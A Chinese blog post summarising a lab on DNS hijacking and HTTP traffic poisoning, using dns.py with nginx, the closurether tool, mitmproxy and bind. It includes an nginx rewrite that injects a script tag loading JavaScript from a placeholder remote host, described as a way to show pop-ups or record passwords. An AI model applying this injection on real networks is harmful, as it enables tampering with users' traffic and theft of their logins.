DNS劫持与内网投毒
不管前方的路有多苦,只要走的方向正确,不管多么崎岖不平,都比站在原地更接近幸福。
——————《千与千寻》
前言
很早以前做了这方面的一点知识,同时在网络上这方面的知识也已经有部分文章介绍过了,此篇权当一点小结。
技术要点
实验环境及原理
在很早以前(包括现在也有)当我们打开一些较为官方性的站点(HTTP)时,就会出现一些诸如色情广告、弹出其他页面、屏幕右下角出现小广告弹窗等这种现象,可能产生这种情况中原因之一就是被做了DNS投毒。
原理
运营商/攻击者通过劫持受害者用户的DNS地址然后将用户访问网站的IP地址解析到攻击者已控的网站,接着讲用户请求的流量通过反向代理/重定向到其他已控机器,当流量从已控机器返回时,在其中添加上自己想要的内容,诸如一些恶意JS文件,就可以在不影响网站原始内容的情况下弹出一些虚假投放的页面。
受害者请求的流量经过已控机器时,攻击者可以通过做反向代理,将受害者的流量正常发往原始网站指向的IP地址,当流量返回时,攻击者可以修改报文,进而达到攻击的效果。
例如最常见的,将改为,这样就在目标访问的站点中引入了一条JS文件,可以在用户访问的时候实行诸如弹窗、记录密码等常见操作。
试验环境
两台机器,一台做攻击者一台做受害者,手动修改受害者的DNS服务器地址来模拟用户受到DNS攻击(在实际情况中,如攻击者控制了路由设备等而受害者DNS地址又是自动获取的情况下就可以导致DNS地址被重定向)。
dns.py + nginx
一直还没怎么关注Sqlmap下的dns.py文件,看了R1ngk3y写的这篇文章1后故此了解。
默认dns.py文件会将所有的请求转发到127.0.0.1(脚本具体编写方式移步原文),修改后可以指定特定的域名,更改域名指定的IP为自己的IP,从而返回自己想要的内容。
dns.py将目标站点的地址重定向到已控机器,nginx做反向代理发出请求,可以在nginx配置文件中修改某些特定的值,诸如上边的例子,将</\head>改为<\script language=”javascript” src=”http://xxxx/1.js"></\script></\head>。
1 | server { |
缺点:用户若查看目标站点的IP(如ping)会发现IP为攻击者的IP。
nginx中其实还有很多相当好用的扩展,值得去扩展。
closurether
这篇文章是参阅2,大牛博主写了个NodeJS脚本,可以同时实现DNS劫持 + JS脚本投毒的操作,但是唯一的缺点就是对方ping的全部IP都是攻击者这边的IP。1
npm install -g closurether
然后找到closurether,启动成功,会看到用户的每一个请求,接着在closurether目录中找到config.json 与 extern.js,你自己懂如何修改,之后在受害者那边刷新就可以看到效果了。
缺点:同上。
说是别的协议在第二次请求会返回真实IP但是测试时并不会显示,难道是测试方法不对?
mitmproxy
参考文章3,当初测试的时候还是出现了一些问题,此条略。
bind + nginx
bind做DNS解析搭配Nginx做反向代理,可较为完美的实现IP隐藏以及流量投毒。
代码略微敏感,就先不放出来了。
至此完毕,也再次谢谢各位博主分享的知识。
参阅文章
1、技术分享 | 劫持DNS通过流量植入木马实验
2、WiFi流量劫持—— JS脚本缓存投毒
3、使用 mitmproxy + python 做拦截代理